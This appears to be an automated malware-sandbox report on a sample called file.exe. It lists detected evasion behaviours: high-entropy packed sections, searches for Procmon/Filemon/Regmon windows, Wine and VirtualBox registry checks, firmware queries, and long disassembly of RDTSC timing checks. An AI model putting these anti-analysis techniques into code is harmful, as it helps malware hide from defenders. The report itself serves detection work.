Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push ebp; mov dword ptr [esp], esp	0_3_016D3DC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push esi; mov dword ptr [esp], 25B3E36Bh	0_3_016D3DD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016D3DB4 push ecx; mov dword ptr [esp], edx	0_3_016D3DE5

Source: file.exe	Static PE information: section name: entropy: 7.986294990251746
Source: file.exe	Static PE information: section name: oivbtose entropy: 7.954193183706231

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0FC9 second address: AC0FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0FCD second address: AC0FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0FD1 second address: AC0FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0FD7 second address: AC0FF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FE764FBC4B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE764FBC4BCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0FF4 second address: AC08A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FE764CFA4D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f jne 00007FE764CFA4E2h 0x00000015 push dword ptr [ebp+122D0D65h] 0x0000001b cmc 0x0000001c call dword ptr [ebp+122D274Fh] 0x00000022 pushad 0x00000023 jg 00007FE764CFA4E2h 0x00000029 xor eax, eax 0x0000002b jno 00007FE764CFA4D7h 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 pushad 0x00000036 mov ebx, dword ptr [ebp+122D36AFh] 0x0000003c popad 0x0000003d mov dword ptr [ebp+122D372Fh], eax 0x00000043 pushad 0x00000044 jmp 00007FE764CFA4E5h 0x00000049 adc si, 4871h 0x0000004e popad 0x0000004f mov esi, 0000003Ch 0x00000054 add dword ptr [ebp+122D1DC6h], edi 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e clc 0x0000005f lodsw 0x00000061 jmp 00007FE764CFA4DAh 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a pushad 0x0000006b or dword ptr [ebp+122D1C34h], eax 0x00000071 movsx ebx, ax 0x00000074 popad 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jnc 00007FE764CFA4DCh 0x0000007f push eax 0x00000080 jl 00007FE764CFA4E2h 0x00000086 je 00007FE764CFA4DCh 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3E5F6 second address: C3E607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764FBC4BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3E607 second address: C3E621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DB67 second address: C3DB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FE764FBC4BBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DB78 second address: C3DB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DB7E second address: C3DB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DB8C second address: C3DB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3DB90 second address: C3DBA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40DED second address: C40DF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40DF2 second address: C40E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 js 00007FE764FBC4CEh 0x0000000f jmp 00007FE764FBC4C8h 0x00000014 push ecx 0x00000015 jmp 00007FE764FBC4BBh 0x0000001a pop ecx 0x0000001b popad 0x0000001c nop 0x0000001d push 00000000h 0x0000001f mov edx, 734EEFB6h 0x00000024 call 00007FE764FBC4B9h 0x00000029 pushad 0x0000002a push edi 0x0000002b push eax 0x0000002c pop eax 0x0000002d pop edi 0x0000002e pushad 0x0000002f jc 00007FE764FBC4B6h 0x00000035 push edx 0x00000036 pop edx 0x00000037 popad 0x00000038 popad 0x00000039 push eax 0x0000003a push edi 0x0000003b pushad 0x0000003c jc 00007FE764FBC4B6h 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40E53 second address: C40E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b jmp 00007FE764CFA4DDh 0x00000010 pop esi 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 je 00007FE764CFA4D6h 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40E78 second address: C40E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007FE764FBC4B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jmp 00007FE764FBC4BCh 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40E98 second address: C40EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40FD1 second address: C40FE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40FE6 second address: C41013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jg 00007FE764CFA4D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 add edi, 4CFCE79Ah 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D336Bh], esi 0x0000001f and dl, FFFFFFABh 0x00000022 push 5D3BD26Bh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41013 second address: C41029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41029 second address: C4103D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4103D second address: C410BF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE764FBC4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 5D3BD2EBh 0x00000013 mov ecx, dword ptr [ebp+122D351Bh] 0x00000019 sub ecx, dword ptr [ebp+122D36FBh] 0x0000001f push 00000003h 0x00000021 mov di, 8A72h 0x00000025 mov dword ptr [ebp+122D1DC6h], ebx 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D1BFCh], eax 0x00000033 push 00000003h 0x00000035 and esi, 14BC13B1h 0x0000003b push 86DF8273h 0x00000040 jmp 00007FE764FBC4BFh 0x00000045 xor dword ptr [esp], 46DF8273h 0x0000004c mov edx, 55636C06h 0x00000051 lea ebx, dword ptr [ebp+12453CA3h] 0x00000057 jbe 00007FE764FBC4CAh 0x0000005d jmp 00007FE764FBC4C4h 0x00000062 xchg eax, ebx 0x00000063 push eax 0x00000064 push edx 0x00000065 push ecx 0x00000066 push eax 0x00000067 pop eax 0x00000068 pop ecx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C410BF second address: C410C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C410C4 second address: C410FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764FBC4C6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE764FBC4C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41189 second address: C4118E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4118E second address: C4121E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE764FBC4C4h 0x00000008 jmp 00007FE764FBC4C2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FE764FBC4B8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push EAD3B07Fh 0x00000034 jmp 00007FE764FBC4C0h 0x00000039 add dword ptr [esp], 152C5001h 0x00000040 sbb si, 69B7h 0x00000045 push 00000003h 0x00000047 add edi, dword ptr [ebp+122D3727h] 0x0000004d push 00000000h 0x0000004f mov esi, dword ptr [ebp+122D347Fh] 0x00000055 push 00000003h 0x00000057 mov cl, FFh 0x00000059 push 52170A38h 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 pushad 0x00000062 popad 0x00000063 push edi 0x00000064 pop edi 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4121E second address: C4127C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 6DE8F5C8h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FE764CFA4D8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov edx, 62CBFD12h 0x00000030 lea ebx, dword ptr [ebp+12453CAEh] 0x00000036 push esi 0x00000037 movsx edi, cx 0x0000003a pop esi 0x0000003b mov edx, dword ptr [ebp+122D1C9Ch] 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 jbe 00007FE764CFA4E2h 0x0000004a jmp 00007FE764CFA4DCh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4127C second address: C41297 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jng 00007FE764FBC4B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FA3C second address: C5FA40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FE70 second address: C5FE84 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE764FBC4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jbe 00007FE764FBC4B6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FFDA second address: C5FFF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FFF1 second address: C5FFF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FFF5 second address: C60011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FE764CFA4D8h 0x00000010 pushad 0x00000011 popad 0x00000012 jbe 00007FE764CFA4DAh 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6045E second address: C60464 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60464 second address: C60482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE764CFA4DEh 0x0000000c jne 00007FE764CFA4D6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60482 second address: C604A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE764FBC4C6h 0x00000008 jl 00007FE764FBC4B6h 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C608C9 second address: C608D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE764CFA4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60A0C second address: C60A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE764FBC4C1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60A24 second address: C60A2D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55CFC second address: C55D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55D01 second address: C55D1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FE764CFA4DDh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55D1B second address: C55D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FE764FBC4C2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2974B second address: C29757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE764CFA4D6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60CD2 second address: C60CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007FE764FBC4C2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60CE1 second address: C60CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C611E9 second address: C61210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE764FBC4B6h 0x0000000a pop ebx 0x0000000b jmp 00007FE764FBC4BAh 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jo 00007FE764FBC4B6h 0x00000019 pop edx 0x0000001a jo 00007FE764FBC4C2h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61210 second address: C61216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C613BE second address: C613F1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE764FBC4B6h 0x00000008 jp 00007FE764FBC4B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jmp 00007FE764FBC4C9h 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C613F1 second address: C613F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6153A second address: C61540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61540 second address: C61555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61555 second address: C61559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61559 second address: C6155F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6155F second address: C61576 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FE764FBC4B6h 0x0000000b pop edx 0x0000000c pushad 0x0000000d ja 00007FE764FBC4B6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61953 second address: C61979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FE764CFA4E8h 0x0000000b jns 00007FE764CFA4D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64735 second address: C64739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C638B7 second address: C638BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C649D2 second address: C649FC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE764FBC4B8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007FE764FBC4C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C66914 second address: C66921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FE764CFA4DEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C385D2 second address: C385E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764FBC4BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BBC8 second address: C6BBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BBCE second address: C6BBD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C2C3 second address: C6C2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C419 second address: C6C41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DDA2 second address: C6DDA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DF85 second address: C6DF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E12A second address: C6E12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E5E3 second address: C6E621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FE764FBC4C7h 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FE764FBC4B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6F07A second address: C6F080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6F080 second address: C6F0A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE764FBC4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE764FBC4C1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6F0A0 second address: C6F0A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
